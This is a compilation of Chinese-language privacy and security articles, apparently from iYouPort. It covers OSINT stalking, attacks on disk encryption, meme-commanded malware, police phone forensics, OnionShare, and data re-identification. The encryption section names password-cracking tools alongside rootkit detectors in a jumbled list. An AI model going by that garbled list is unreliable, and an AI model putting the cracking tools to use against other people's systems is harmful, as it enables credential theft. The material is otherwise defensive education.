- 《观察追踪者的思考方式：挖掘推特情报的基础教程（2）》

⚠尤其是，他们不只是追踪你，而是通过追踪你周边的所有人，来挖掘有关你的漏洞，以便更有效地入侵你。这就是为什么安全101需要强调：您 *必须* 和那些具有同等安全意识的人交往，否则他们中任何一个人都可以卖了你。

- 侦探挑战中演示过这种“旁路”追踪方法，见《情报眼：细节越多暴露越大—侦探挑战游戏》

☞正如我们不断强调的那样：您必须通过预防来保护自己，等到迫害降临的时候一切都晚了。

追踪者有多少创意？也许超乎你的想象。举个例子：一个追踪者通过一位流行歌星发布的照片 —— 准确说是通过该歌星眼睛中映射出的火车站图像 —— 直接跟踪到了她的家里。

人们总是难以意识到自己发布的东西里面都有什么，这就是为什么我们采用 “开源情报” 来提醒防御：亲手演示给你看，关于恶意者会怎么做。

最后

「图」

以上全部是最基本的内容。对于敏感人士来说，您需要额外的安全措施，请详见我们在 “direct action” 中提供的具体步骤；以及在 “列表1” 中的防身栏目。

☞尤其是以下两个系列：

- 《如何做到完美隐身：直面你的对手—6大原则（1）》
- 《如何做到完美隐身：追踪者的手段和你的弱点（2）》
- 《如何做到完美隐身：思考方式是战略性的（3）》
- 《如何做到完美隐身：技术增值部分—最简单的分身方法（4）》
- 《如何做到完美隐身：清扫和清点—信息篡改的重要步骤（5）》
- 《如何做到完美隐身：令人兴奋的心理过招（6）》
- 《如何做到完美隐身：扫荡危险区域（7）》

☞ 以及目前尚未完成的系列：

- 《在不自由中创造自己的自由：变得难以被追踪的简单方法（1）》
- 《构建防御直觉是生存的基本功：变得难以被追踪的简单方法（2）》
- 《与S先生共度美好一天—反取证技巧：变得难以被追踪的简单方法（3）》
- 《保持零信任：变得难以被追踪的简单方法（4）》

请随时记得，如今每个人的身家性命都在互联网上，你已经不得不用尽全力去保护自己。

这就是个弱肉强食的世界。你不需要变成狼，但如果你看起来很像一只羊，那早晚会被吃掉。

注：本文只是最基本的方法！我们去年已经介绍过全套方法，您可以在下面回顾：

- 第一步：《自我人肉（1）》
- 第二步：《社交媒体情报和反情报基本工具手册：自我人肉（2）》
- 第三步：《如何躲避监视追踪？大清洗：反侦察的基础》

- 第四步：《分身术完整指南：妥善管理您的在线身份并获得安全的方法》
- 第五步：《使用社交媒体时你必须注意什么？—— 🔐 更安全的抵抗》

上述所有都很重要！

IYP的五部分列表中第一部分和第五部分是相连的，也就是说，除非您先完成第一部分中的防身措施，否则很难实现第五部分的内容。

IYP 会在另外的文章中综合性说明为什么如此（当然，聪明的读者早已理解，写下来是为了给尚未理解的读者一个全角度的参考）。

您要做的就是：立刻采取行动。〇

原文

攻击加密系统的多种形式和防御方法 - iyouport

自我保护措施-技术技巧以防身

【2019年11月19日存档】全盘加密不是万能的，但的确是应该被推荐的。

许多人认为密码学和加密这两个术语是可以互换的，但并不完全正确。密码学是“秘密写作”的科学，它的用法有着非常悠久的历史，而且多年来它已经出现了多种形式。密码学有两个主要组成部分，加密和隐写术。

在加密中，人们加扰数据使其无法被直接读取。它使用算法和密钥将明文转换为加密文本（也称为密文）。这可以保护您的数据免遭未经授权的访问或潜在的攻击者。

隐写术则是在普通信息中隐藏秘密信息的科学，因此在传输过程中保持其秘密。关于隐写术的技术介绍（2个）：

- 《构建你的自定义OSINT机器（第二部分）》
- 《隐写术的小心机》

隐写术可以与加密相结合，以进一步保护传输的数据；现代的隐写工具实现了这种方法。

加密被认为是信息技术系统任何安全性的主要组成部分，因为它提供了信息安全的最基本的四种服务：身份验证、不可否认性、机密性、完整性。

加密有助于人们在静态和跨越不受信任的媒介（如互联网）时保持数据的安全性。

加密数据永远不会是满足我们所有安全需求的100%解决方案。

技术不断发展，以产生更安全的加密系统/算法，与此同时攻击者的

技术能力也在增强。

对加密系统的常见攻击方式有三种：# 窃取加密密钥（例如 Brute Force 和 keyloggers）

- 密码分析（攻击加密算法本身）
- 攻击实现加密算法的软件程序，

1. 恶意女仆攻击
2. **Bootkit** 和 **Rootkit** 攻击
3. 冷启动攻击
4. 暴力登录攻击
5. John the Ripper http://www.openwall.com/john

- Rainbow Crack

1. Cain and Able http://www.oxid.it/cain.html
2. 《如何不暴露手机号、不花钱，实现双因素身份验证？》
3. RootkitRevealer（https://technet.microsoft.com/en-us/sysinternals/bb897445

- TDSSKiller（https://support.kaspersky.com/viruses/disinfection/5350#block1）
- GMER（

1. ）

- UEFI 的 Rootkit 检测框架（https://www.reversinglabs.com/open-source/rdfu-uefi.html）
- UnHackMe—30天免费试用（http://greatis.com/unhackme）
- Sophos Anti-Rootkit（https://www.sophos.com/products/free-tools / sophos-antirootkit.aspx）

最后

「图」

有一种常见的误解，即加密硬盘会使您的计算机安全，但这并非完全正确。事实上，磁盘加密仅对有物理访问您计算机的攻击者有用。它并不会使您的计算机更难以受到通过网络进行的攻击。

攻击者仍然可以利用社交工程学欺骗您安装恶意软件，您仍然有可能

访问了恶意网站，等等无数被入侵的形式。

当然，磁盘加密对阻止互联网监控也没有任何作用。像 NSA 这样的间谍机构，可以利用构成互联网骨干的光纤电缆，几乎可以监视你在网上做的所有事。需要完全不同的加密类别来解决该系统性问题。

但是现在重要的是要知道磁盘加密可以防止单一攻击：物理访问。

磁盘加密的目标是，如果不是您本人的某个人访问您的计算机，比如抢走设备的警察，他们将无法访问您的任何文件，只会看到乱码，无用的密文。

BitLocker 和 FileVault 只是最懒的解决方案。更好的选择是免费开源程序 VeraCrypt（适用于 Windows，MacOSX，Linux）。它绝对是无价的，特别是如果你使用几个不同的系统并有特定的愿望的话。 ○

原文

攻击者通过隐藏在 Twitter 上的 meme 中的命令来控制恶意软件 - iYouPort

自我保护措施-技术技巧以防身

Trend Micro 的安全研究人员近期发现了一种新的恶意软件，它会从攻击者控制的 Twitter 账户上所发布的 meme 中检索黑客所发布的命令。这种命令下发方式加大了恶意软件相关的流量的检测难度，因为在这种情况下，这些恶意软件流量看起来是合法的 Twitter 流量。

使用合法的 Web 服务来控制恶意软件并不是头一回，过去的也曾有黑客使用合法的网络服务，例如 Gmail、DropBox、PasteBin 以及 Twitter 来控制恶意软件。

而此次，Trend Micro 发现黑客利用了隐写术将发送给恶意软件的命令隐藏在 Twitter 上的 meme 中。

“这种新的安全威胁（标记为 TROJAN.MSIL.BERBOMTHUM.AA）是值得人们关注，因为恶意软件是通过合法的服务（流行的社交网络平台）接收的命令的，黑客往帐号上传了一个看起来无害但包含恶意代码的 meme，除非封禁这个恶意帐户，否则它就一直生效。”Trend Micro 发布的报告说道。

“截至2018年12月13日，Twitter已经下线这个帐户。”

攻击者将“/print”命令隐藏在 memes 中，该命令是让恶意软件截取受控制的机器的截图，并将其发送回 C&C 服务器，服务器的地址是通过http://pastebin.com网站上的一个硬编码 URL 获得的。

BERBOMTHUM 恶意软件会下载攻击者指定的 Twitter 帐户的内容，扫描 meme 文件，并提取其中包含的命令。

这个黑客使用的 Twitter 账户创建于2017年，分别在10月25日和26日发布了两个 meme，用于向恶意软件传递“/print”命令。

根据 Trend Micro 的说法，该恶意软件正处于早期开发阶段，其中

Pastebin 论坛上存放的链接是指向本地。

Security researchers said they've found a new kind of malware that takes its instructions from code hidden in memes posted to Twitter. The researchers said that memes uploaded to the Twitter page could have included other commands, like "/processos" to retrieve a list of running apps and processes, "/clip" to steal the contents of a user's clipboard and "/docs" to retrieve filenames from specific folders.

原文

数字取证正在泛滥：政府可以从你的手机中提取哪些数据？ - iyouport

自我保护措施-技术技巧以防身

【2020年2月27日存档】如今的人们都知道数字取证是什么东西了 —— 因为已经有太多人因此被抓进监狱、被判刑。但是，数字证据真的靠谱吗？任何人可以信任它作为剥夺一个人后半生的绝对依据吗？本文将展示它有什么问题，并警告自我保护

正义的实现取决于社会对证据准确性和完整性的信任。

但是，数字取证领域很难做到这点。

本文以英国为例 —— 仅仅是为例，⚠数字取证正在全球泛滥，它们在各个国家所表现出的问题是几乎完全一样的。

英国法医科学监管机构 Gillian Tulley 将英格兰和威尔士的法医学交付描述为完全不充分的、且已经“在危机之间陷入困境”。

他们这么说是有道理的。该报告发出了与数字证据有关的严厉警告，并且，实话说，目前缺乏应对“数字法证证据迅速增长”的“任何可行战略”。

并且，使用手机提取 [以获取数字证据] 可以说是警察使用的最具侵入性的技术形式 —— ⚠不仅涉及手机用户本人的数据，还涉及曾经与该用户通信的许多其他人的数据。

隐私国际组织（Privacy International）2018年的报告 Digital Stop and Search 中指出，⚠至少从2012年开始，一线警官就一直在使用手机提取工具来获取所有类型的有关犯罪受害者、证人、和嫌疑人的个人数据。

尽管已经有多年的经验，警方可以熟练使用强大的技术来提取、分析

和呈现手机中包含的所有形式的数据，但是，这不仅会严重侵犯个人隐私，而且还包含诸多的安全隐患。

更有，⚠这种提取没有任何有意义的规范、缺乏明确其实际具有合法性的依据、迄今未向公众做任何咨询 —— 违背民主程序。

信任？

「图」

如果一个民主国家的公民想要“同意“将自己大量的高度私密的数据委托给警察官员，那么，不仅提取的合法性应该清晰易懂，而且，还应该确认数据保护措施具有良好的安全性，并且，还要看到具备清晰可见的专门针对移动电话和数据萃取的详细安全策略和程序。

作为安全风险分析的一部分，公民还需要知道当局在数字提取中使用的是哪些技术，并且需要对这些技术有所了解。

然而，尽管每年对信息安全的威胁都在加剧，而且，显而易见的是，国家网络安全中心一直在强调：“大量数据存储是各种攻击者的诱人目标”，向委员会提供的证据和调查结果表明，关于提取技术的部署以及已有的安全控制措施，存在大量问题。

数据泄露是由于实施不力或完全没有安全控制而发生的。

在英国，警察部门对于因自己的过错而令人震惊的数据泄露事件并不陌生，他们并已收到了信息专员的多项罚款。

格洛斯特郡警方因泄露了虐待儿童受害者的身份而在2018年被罚款80,000英镑。至于安全控制，北约克郡警察因未能做到数据加密而受到严厉批评。

简单说，民主国家的警察也不能直接信任；民主程序在数字取证领域目前最多只能做到事后批评。

尽管数据的数量和保留是基本的，但仍然存在更广泛的安全问题。正如 Bruce Schneier 所述：

“安全是复杂且具有挑战性的。简单的答案无济于事，因为简单的答案总是错误的。您需要的是一种新的思维方式。”

证据的准确性：警察知道自己在做什么吗？

「图」

使用手机提取技术的警务人员通常很少接受专业的取证培训，或者根本没有任何培训；并且，他们的工作越来越依赖于他们完全不了解其功能的设备，尤其是在预算削减和数据量迅速增加的情况下。

取证专家强调，警方严重依赖于那些易于使用的工具 —— 这些工具通过“按一些按钮” 就能从电话中获取数据，这纯粹是愚弄数字法证学，并且可能破坏真正有意义的检查。

Discovery Forensics 的常务董事兼高级取证调查员 Jan Collie 博士向委员会强调了使用 MPE 技术的人员缺乏取证技能的情况：

“我在现场看到的是，常规警务人员正试图成为数字取证分析员，因为他们被赋予了这些无所不包的魔术工具，可以执行所有操作，而常规警务人员，尽管他可能会尽职，但是他们不是数字取证分析师 ……

“正是这些毫无经验的人最终对数据意味着什么做出结论，因为他们被迫这样做；他们没有资源也没有培训，他们无法从这些结果中做出正确的推断。要知道这些结论会被摆在法庭面前，作为决定一个人生死存亡的关键。 ”

严重欺诈办公室（Serious Fraud Office，SFO）向委员会争辩说，随着数字证据在刑事审判中变得越来越普遍，有必要制定更多的法规或遵守商定的标准和规范的机制。

证据的完整性：技术可以做什么？

「图」

约克大学的数字取证科学家安格斯·马歇尔（Angus Marshall）和计算机科学家理查德·佩奇（Richard Page）都指出，“我们倾向于依赖第三方工具，我们相信这些工具是根据良好的工程实践生产的；如果考虑使用手机提取，则检查将从内容未知的手机开始，因此，整个取证过程的输入是未知的。

这影响到是否有可能利用所谓的证据来确定哪里出了问题”。

以下是他们的声明：

“一个工具完全有可能错误地处理输入并产生一些看起来仍然与正确操作一致的东西。在没有客观验证证据的情况下，对工具是否能产生任何结果的正确性方面或其他方面的评估，完全取决于操作员的经验。”

“还应该记住，就用户而言，硬件和软件的更新可能不会对系统行为产生明显影响，但是，可能会大大改变内部处理和存储数据的方式。”

在美国，美国国家标准技术研究院有一个网络取证项目，旨在向公众提供取证工具的测试报告。

根据 MobileEdit，他们的测试表明，在所有竞争工具中，单个数据类型之间的结果存在显著差异。

每个工具都能够展示出相对于其他工具的某些优势，但是，并没有任何一个工具能够在所有测试类别中都表现出优越性。

在英国，没有对执法机构购买的设备进行任何测试。正如取证监管者 Gillian Tully 博士所说：“到目前为止，所有那些 [手机提取工具] 尚未全部经过正确的测试……”；“而且不允许对数字取证工具进行逆向工程，因为无论如何这都是非法的。”

为什么会缺乏测试？为什么逆向工程非法？很简单，主要理由就是所谓的商业机密。

正如安格斯·马歇尔（Angus Marshall）向英国专责委员会发表的评论所指出的那样：

“私有技术提供商不愿透露有关他们自己的开发和测试方法的任何信息，这意味着许多数字取证方法的正确性基础非常薄弱，或根本不存在。”

一家提取公司 Magnet Forensics 直接举例说明了由于缺乏对手机提取工具功能的了解而导致的问题，以至于它们可以做非法的事，但警察没有意识到这一点。

风险处理缺失：远程访问和网络安全

「图」

没有被触及的领域之一是：⚠提取技术公司能够远程访问警务人员购

买的产品。

此访问权限不仅用于产品更新，而且还用于分析。

Cellebrite 是一家数字取证公司，其 UFED 设备在包括英国在内的世界各地的警察部队中都很受欢迎，该公司在其隐私权政策中指出：

“当您使用 UFED Cloud Analyzer 之类的产品时，如果得到您明确的同意，我们将收集有关 Cellebrite 产品的使用信息，例如您使用该软件执行的提取次数、提取的数据源类型、使用产品时遇到的任何错误、收集的事件数量、使用Web搜寻器的频率、以及使用的视图 ……以上所有数据均称为分析型信息。”

⚠Cellebrite 和其他同类公司都可以远程访问位于警察局内部的设备，从而访问与受害者、证人和嫌疑人的电话相连的工具。而且这个领域是一个黑箱。

此外，由于成千上万部电话被直接插入到这些取证工具中，因此，该工具本身很容易受到网络攻击 —— 例如，它们可能被劫持以发送恶意更新，或者可以提供故意感染了恶意软件的电话进行提取，从而有可能实现入侵警察部门的基础设施。

对于这种攻击形式，可能不是显而易见的或最简单的方法，但是，坚定的对手可以尝试所有必要的手段。

执法部门可以从手机中提取哪些类型的数据？

「图」

移动设备是一个庞大的敏感数据存储库，可以提供有关其所有者以及用户与之交互的许多其他人的大量信息。

Cellebrite、MSAB 和 Oxygen Forensics 等公司向执法部门出售软件和硬件。将手机连接到这些数字提取工具之一后，设备将提取、分析并显示手机中包含的数据。

这些工具可以提取哪些数据、以及使用哪种方法，将取决于操作系统、安全功能、和电话型号。

隐私国际组织使用 Cellebrite 的 UFED 通过 Physical [ADB Rooted] 提取功能提取了 Android 手机（HTC Desire）以做测试。

⚠下图是警察可能看到的内容的真实示例 —— 他们可以从您的手机中提取的数据。

下面是从 iPhone SE 提取数据的演示：

下一步会走向哪里？

「图」

随着所有人越来越多的在线生活（手机变得越来越“万能”），个人数据已经迅速变得更有价值。

这些具有显著价值的数据正是警察想要收集、访问和开采的东西，并且也是犯罪分子想要窃取数据的原因。

⚠搜查电话要比搜查房屋更具侵入性，不仅是信息的数量和细节，还有，历史性内容的回溯、以及所有与您相关的所有亲密关系 —— 你甚至无法放在家里的东西全在手机里。

任何当权者都不应无拘无束地获得某人的全部生活，使用手机提取功能需要最严格的保护。

但是，即使合法获得提取权限，也没有任何数据可以做到完全安全。

⚠一旦有人存储了数据，由于事故、粗心大意、内部威胁、或敌对的入侵 ……数据就很容易受到破坏。

处理数据的不良做法，包括对获取数据方式的不了解，都会破坏对严重犯罪的起诉，并导致曝光包含从未被起诉的无辜者的详细信息。

在手机提取的背景下，迫切需要严格的监管以及详细实用的技术标准来确保对这些强大技术部署的公民监督。

在非民主国家，人们应该学会保护自己；开发者应该致力于那些能够保护无辜者免遭数字提取工具侵害的功能。

我们曾经上传过一本书和一个文档，关于：您的手机和电脑如何作为呈堂证供，您可以在这里下载：https://t.me/iyouport/6313；还有这里：https://t.me/iyouport/6315；另外还有一本手册，讲述专业的数字取证技术，通过它，您将能知道数字取证都考虑哪些方面、如何串联信息、如何形成证据以协助法庭定罪。于是您能知道该避免什么、如何避免、尤其是在被不合理定罪时，您和您的律师应该知道该

如何反驳。在这里下载：https://t.me/iyouport/6419 ○□

原文

新版 OnionShare 使任何人都可以轻松发布匿名的、无法审查的网站 - iYouPort

自我保护措施-技术技巧以防身

OnionShare 2.2 已发布，您可以从 onionshare.org 下载它。

「图」

「图」

当我在2014年首次撰写 OnionShare 时，它的功能是使您可以匿名安全地将文件发送给对方。

它的工作方式如下：OnionShare 压缩文件，在计算机上启动本地Web服务器带有指向该zip文件的链接，使该网站可以作为 Tor onion 服务访问，并向您显示Web服务器的URL。

您向目标人发送此 .onion URL，他们将其加载到Tor浏览器中（加载直接在您的计算机上托管的网站），然后他们可以下载zip文件。下载完成后， OnionShare 将关闭该Web服务器。

从那以后的几年里，OnionShare 已经变得越来越好了（很大程度上要归功于志愿者贡献者社区的增长）。

现在您不仅可以发送文件，还可以立即使用它来接收文件，从而可以将计算机变成匿名保管箱。

它始终以相同的方式工作：在您的计算机上本地托管一个匿名网站。

但是，既然 OnionShare 仍然在您的计算机上托管一个网站，为什么不使用它托管实际的网站呢？

除了“共享文件”和“接收文件”选项之外，OnionShare 2.2 还引入了“发布网站”的选项。

您将构成网站的所有文件拖到 OnionShare 窗口中，然后单击“开始共享”。

它将启动一个Web服务器来托管您的静态网站并为您提供 .onion URL。该网站只能通过Tor网络访问，因此人们将需要Tor浏览器来访问它。

访问您网站的人不知道您是谁 —— 他们将无法找到您的**IP**地址，他们也不知道您的身份或您的位置。而且，该网站不会受到审查。只要您的网站访问者能够使用Tor网络。

关于 OnionShare 中网站发布的工作方式，请记住以下几点：

如果您要共享的网站上的任何文件夹都包含 index.html 文件，那么当有人在Tor浏览器中加载该文件夹时，它将加载该 html 文件。如果任何文件夹都不包含 index.html 文件，它将显示目录列表。

因此，例如，您可以发布一个只有一堆文件而没有任何 html 的网站，并且在 Tor 浏览器中加载该网站的人将能够浏览您的文件和文件夹，并下载单个文件。

「图」

「图」

共享不公开的内容时，OnionShare 现在使用HTTP基本身份验证。因此，您现在共享的URL看起来像这样 `http://onionshare:[password]@[address].onion` 。

当某人在 Tor 浏览器中加载该URL时，它将询问此人是否要首先登录，如下所示：

「图」

「图」

当他们单击“确定”时，地址栏中的URL不再包含 `onionshare:[password]`部分，而是看起来像一个普通网站。（这可以防止肩膀冲浪，避免攻击者在某人的屏幕上查看到 OnionShare URL 并亲自访问。）

「图」

「图」

如果您想发布网站供任何人查看，则可以随时进行设置并启用“public mode”，该模式不再使用用户名和密码。

如果您想使用 OnionShare 发布您打算长期在线的网站，请务必记住您的计算机本身就是Web服务器。如果您关闭计算机，或者只是暂停使用笔记本电脑，该网站将会关闭。

为避免这种情况，您必须使用始终为此开启的计算机。

您可能还需要进入设置并选中“使用永久地址” —— 这意味着，如果您关闭 OnionShare 并再次打开（例如，如果您必须在计算机上安装更新并重新启动它），下次启动时，URL 将保持不变。

如果您不使用永久地址选项，则每个URL都是临时的，并且无法重新使用旧的URL。

另一个新变化是，OnionShare 现在可以准确地向您显示人们对您的网站提出的网络请求（您也可以在共享和接收文件时看到这一点，而不仅仅是发布网站时）。例如，这是由 OnionShare 托管的网站被 nikto 漏洞扫描程序扫描。

「图」

「图」

您可以在发布网站时浏览目录列表，因此您也可以类似地浏览共享文件时共享的文件夹，以便人们在下载文件之前先确定将要下载的是什么文件。

「图」

「图」

而且，如果您进入设置并取消选中“发送文件后停止共享”（此设置使第一个人下载要共享的文件后服务器关闭），那么人们也将能够下载您共享的单个文件内容，而不是选择一次下载所有内容。

希望您喜欢新的 OnionShare。○

The original version of this post can be found on //Micah Lee’s blog//.

原文

新的隐私工具可以揭露哪个网站您不应该访问 - iYouPort

自我保护措施-技术技巧以防身

帮助您预知风险的防御措施

「图」

「图」

尽管许多人都愿意提供自己的某些数据（例如电子邮件地址），但是对于敏感信息来说绝非如此。考虑到这一点，人们会仔细选择与哪些公司共享自己的数据，考虑数据是否会以负责任的方式处理或不安全地放置在某些第三方服务器中？

然而，尽管人们可能会采取直接的预防措施，但有时却会被某些网站所欺骗。它们看起来似乎合法，声称拥有严格的隐私政策，但最终还是与第三方共享了您的数据。

为了帮助您避免在这种情况下的损失，云安全公司 Instart 发布了一个名为 Privacy Alert 的新 Chrome 扩展程序。

该插件使您可以检查每个站点的“数据安全等级”，这基本上表明与相关站点共享数据是否是个好主意。

该公司在博客中说，Privacy Alert 可让您知道黑客是否可能窃取了您在Web表单中键入的信息或保存在Cookie中的信息。例如，如果您访问一个金融网站（如您的网上银行应用程序）并输入了用户名和密码，则该插件将显示第三方是否也可能查看这些登录凭据。

例如，以下报告的屏幕截图揭示了如何通过Cookie与其他9个地方共享了您的数据，其中一个是 Google Analytics。另一方面，它使您知道敏感数据仍然是安全的。

「图」

「图」

根据上面的示例，此隐私工具将大大减少用户受到威胁的机会。

如果黑客已经用恶意代码感染了该网站，用户无需再等到公司发布新闻稿才能获知，他们可以在访问网站的那一刻直接看到警报。

例如，去年底的案例显示攻击者如何克隆了澳大利亚联邦银行的付款页面。如果用户在付款之前已经验证了网站的安全状态，那么这种情况下就不会被欺骗。

因此，建议用户尝试使用这个新的隐私工具，这不是因为它是新的，而是因为其本质上可以作为一种预防性安全措施。

但是，将所有内容都留给插件是不明智的，建议您同时采用其他安全措施，例如通过使用 Apple Pay 等服务来最小化输入付款详细信息的过程以及验证您访问的网站的安全证书。〇

New privacy tool exposes which website leaves your data unprotected

原文

无法匿名的数据指纹 — — 我可以如何避免被识别？ - iYouPort

自我保护措施-技术技巧以防身

人们往往不知道自己把什么放在网上了，那些看起来没什么价值的零碎信息，一旦被连接起来，就是致命的

「图」

「图」

2016 年8月，澳大利亚政府发布了一份“匿名”数据集，其中有 290 万人的医疗账单记录，包括每个处方和手术。记录中删除了姓名和其他识别功能。但是，墨尔本大学的一个研究小组很快发现，重新识别人员并在未经他们同意的情况下了解他们的整个病史非常简单，只要通过将数据集与其他公开可用的信息进行比较。

政府从其网站上删除了数据，但是那一时刻，这些数据"已经被下载"了超过 **1500** 次。

这个隐私噩梦只是许多看似无害的、“去标示”的信息片段之一。这些信息被反向设计以暴露人们的身份。

随着人们将更多的生活花在了网上，相当于洒上了"数字面包屑"，这些线索能够很轻松地追溯到他们，以他们从未预料到的方式侵犯他们的隐私。而且这种情况只会越来越严重。

2017 年，德国研究人员就能够根据“隐身 / 无痕”网络浏览模式识别任何人。本周，伦敦大学学院的研究人员展示了他们如何基于与推文相关的元数据来识别个人 **Twitter** 用户，而健身追踪应用程序 Polar 则透露了家庭住址信息，甚至可以识别机密军事基地、士兵和间谍的名字。

延伸阅读：《"//如何使用简单的应用程序找到隐藏的军事基地、士兵和秘密特工们的姓名和住址？//"》

“我们所做的事是一年级数据科学专业学生就可以做到的事，“墨尔本大学研究人员 Vanessa Teague 表示，他们揭示了开放健康数据的缺陷。

1996 年马萨诸塞州集团保险委员会发布了“匿名”数据，显示了国家公务员的医院就诊情况，这大概是最早发生的此类事件。与澳大利亚的数据一样，该州删除了明显的标识，如姓名，地址和社会安全号码等。其实一点用都没有。

Latanya Sweeney 是一名计算机科学专业毕业生，后来成为联邦贸易委员会的首席技术官，他通过在数据集中查找马萨诸塞州州长 William Weld 的医疗记录发现了数据的错误。Sweeney 使用了 Weld 的邮政编码和出生日期 — — 取自选举名单，以及他去医院的信息，以追踪到了他。Sweeney 把他的病历直接寄到了他的办公室。

政治人物的健康状况与政治局势密切相关，你懂的（如果还不理解，请阅读《独裁者手册 The Dictator’s Handbook: Why Bad Behavior is Almost Always Good Politics》作者：Mesquita B.B.D.) / Smith A.）

Sweeney 后来的工作表明，美国有 87% 的人口可以通过他们的出生日期、性别和五位邮政编码进行精准识别。

延伸阅读：《"//投票心理学：行为成因分析 帮你抵制宣传的迷惑//"》

“重点是，看起来匿名的数据不一定是匿名的，”她在国土安全部隐私委员会的证词中说道。

最近，计算隐私研究员 Yves-Alexandre de Montjoye 展示了如何通过手机位置数据揭示人们的行为模式，来"识别绝大多数人口"。通过分析移动电话数据库中 15 个月内 150 万人的近似位置数据（基于最近的手机信号塔）在没有其他识别信息的情况下，也可以通过仅有的四个数据点做到精准识别 **95%** 的人所处的地点和时间。如果只有两个数据点，依然可以确定大约 50% 的人。

这四个数据点完全可以来自公开的信息，包括一个人的家庭住址、工作单位和带有地理标记的 Twitter 帖子等等。

“位置数据就是指纹。这是一条可能存在于各种数据集中的信息，可能被用作全球标识符，“ De Montjoye 说。

特别是对于有工作的人群来说，那完全就是追踪者的梦想。

原理非常简单。“你从家到工作单位，然后以非常规律的方式再返回来。基本就可以推断是一个住在地址 A 并在地址 B 工作的人，“ 咨询公司 Salinger Privacy 的主管 Anna Johnston 说。

她解释说，即使位置数据没有透露个人的身份，它仍然会使一群人处于危险之中。例如，健身应用 Strava 发布的公共地图无意中成为国家安全风险，因为它揭示了人们在秘密军事基地的位置和移动。

2015 年，De Montjoye 表示，只要知道少量人们的购买情况信息，就可以从数百万看起来“匿名”的支付中识别出信用卡的所有者。

只需要购买商店的名称和地点、以及大致的日期和购买金额，就能通过查看三笔交易来精准识别 **94%** 的人。这意味着有人可以找到你和朋友喝咖啡的 Instagram 照片 ＋ 关于最近关于购买的推文和旧收据，可以将它与你的整个购买历史相匹配。

请注意，这种方法可以用于各种目的，全凭行为者的德行。您还迷恋在网上晒生活吗？

「图」

「图」

Montjoye 和其他人的实验一次又一次地表明，无论数据如何被剥离，根本不可能对单位级记录数据（与个人相关的数据）进行匿名化。因为人们太喜欢自我表达了。

“它可能在过去有效，但现在不行了，”他说。

如果希望保护自己免受这种隐私侵犯，对个人来说能做的事很少。

普林斯顿计算机科学教授 Arvind Narayanan 说：“一旦我们的数据传出，它就会永远存储起来。有些公司专注于将来自不同来源的关于我们的数据结合起来，以创建虚拟档案，并应用数据挖掘以各种方式预测并影响我们的行为。”

延伸阅读：“"//一整面墙上布满了显示器。那些数据被整合成了一个详细的人格分析，以此来预测逃离者最有可能做出什么样的选择，然后提前下手围堵//"。这些构成你的人格分析图解的数据都来自于公开信息，来自你平时完全没有留意到就泄漏出去了的信息。它们最终会

变成等着你的手铐”……

延伸阅读：《"//当 “不作恶” 成为空谈，“定制人”将终结民主//"》

要解决这个问题，只需坚持使用现金支付，并放弃手机，就可以减少数字面包屑的痕迹，但这并不是特别实用。

这也使得个人很难就任何应用程序或服务收集数据的方式给出“知情同意”。公司提出的不分享个人身份信息的承诺称其为欺骗一点不过分，因为在重新识别某人时则会非常容易。

“要想解决这个问题，取决于良好的监管和适当的执法，”De Montjoye 说。“欧洲数据保护新规的一个缺点就是它在没有充分了解风险的环境中对消费者施加了过多的责任。应该将更多的法律责任推给数据托管人，例如政府研究人员和公司。”

延伸阅读：《"//为什么说欧洲新法规反而会加强 Facebook 和 Google 的霸权？//"》

“隐私并没有死去。我们每个人都需要它，隐私是基础人权，保护它我们一定能做到。“

本网提供几点建议，以缓解这种恐怖局面：

- 谨慎对待所有应用程序权限 —— 您可以"在这里进行自查"；
- 参加重要活动时（如集会和敏感会面）不要携带电子设备，或者使用一次性手机；
- 当你想在网络上任何地方晒自己真实生活或向他人介绍自己真实信息之前，请三思！—— 请见“"关于反侦查的诸多细节问题"”
- 谨慎使用一切需要手机号注册的通讯应用（推荐 Cryptocat）——更多"安全工具在这里"都能找到；
- 在尽可能多的时间里关闭移动设备地理定位权限；
- 必需上传照片时抹去元数据；
- 尽可能少的使用在线支付，使用现金；
- 加密、加密、加密，将重要信息和普通信息所关联的身份区分开来，将自己在线上和线下的身份区分开来。

原文

智能手机正在对你实施间谍行为？ - iYouPort

自我保护措施-技术技巧以防身

它一直在偷拍你的动作，这些截获的信息可能包括用户名、密码、信用卡号和其他重要的个人信息...

「图」

「图」

Northeastern 的研究显示，手机上的一些热门应用可能会秘密截取您的屏幕活动截图，并将其发送给第三方。

研究人员表示，这尤其令人不安，因为这些屏幕截图以及您在屏幕上活动的视频可能包括用户名、密码、"信用卡号"和其他重要的个人信息。

“我们发现成千上万的热门应用程序能够记录您的屏幕以及您键入的任何内容，” 监督该研究的两位计算机科学教授之一 David Choffnes 说，“这包括您的用户名和密码，因为它可以在你的键入变成那些小黑点之前就记录下你输入的字符。”

这项研究主要由两名学生—本科生 Elleen Pan 和博士候选人 Jingjing Ren 进行—旨在调查一个持续不断的“都市传奇”，即手机正在秘密记录我们的对话，然后将这些信息出售给公司，这样他们就可以通过有针对性的广告让您掏钱。

虽然研究人员没有找到记录对话的证据，但他们发现可能更危险的活动。

“我们知道我们正在大海捞针，”Choffnes 说，“我们却惊讶地发现了几根针。”

他们发现一些公司正在向第三方发送用户电话活动的屏幕截图和视频。 虽然这些隐私泄露似乎是“良性”的，但它们强调了公司可以轻松利用手机的隐私窗口获取利润。

“不，不是良性的，这种行为几乎肯定会被用于恶意目的，”研究团队的另一位计算机科学教授 Christo Wilson 说。“安装和收集这些信息很简单。最令人不安的是，这种情况发生时没有用户通知，更没有被许可。

“在我们捕获的情况下，发送给第三方的信息是邮政编码，但它可能很容易就是你的信用卡号码，”他补充道。

这项研究

研究人员使用学生编写的自动化测试程序分析了 Android 操作系统上 17,000 多个最受欢迎的应用程序。虽然这项研究是在 Android 手机上进行的，但 Wilson 和 Choffnes 都表示没有理由相信其他手机操作系统不会那么脆弱。

Pan 于 2017 年秋季开始作为研究合作社成员开展该项目，并继续研究该项目，直到她于5月毕业。她将于本月晚些时候在巴塞罗那举行的隐私增强技术研讨会上发表论文。

“进入这个项目前我对手机隐私没有太多考虑，我的朋友也没有考虑，”Pan 说，她是该报告的第一作者，“这无疑引起了我对研究的兴趣，我将考虑回到研究生院。”

在进行研究时，Wilson 表示，随着结果的出现，团队感到非常惊讶。“根本没有音频泄漏—没有哪个应用程序会激活麦克风，”他说。“然后我们开始看到了我们没想到的事。应用程序自动截取屏幕截图并将它们发送给第三方。”（激活麦克风窃听是有具体监视目标的行动，美国情报机构经常这么做，这是 **Snowden** 说的）

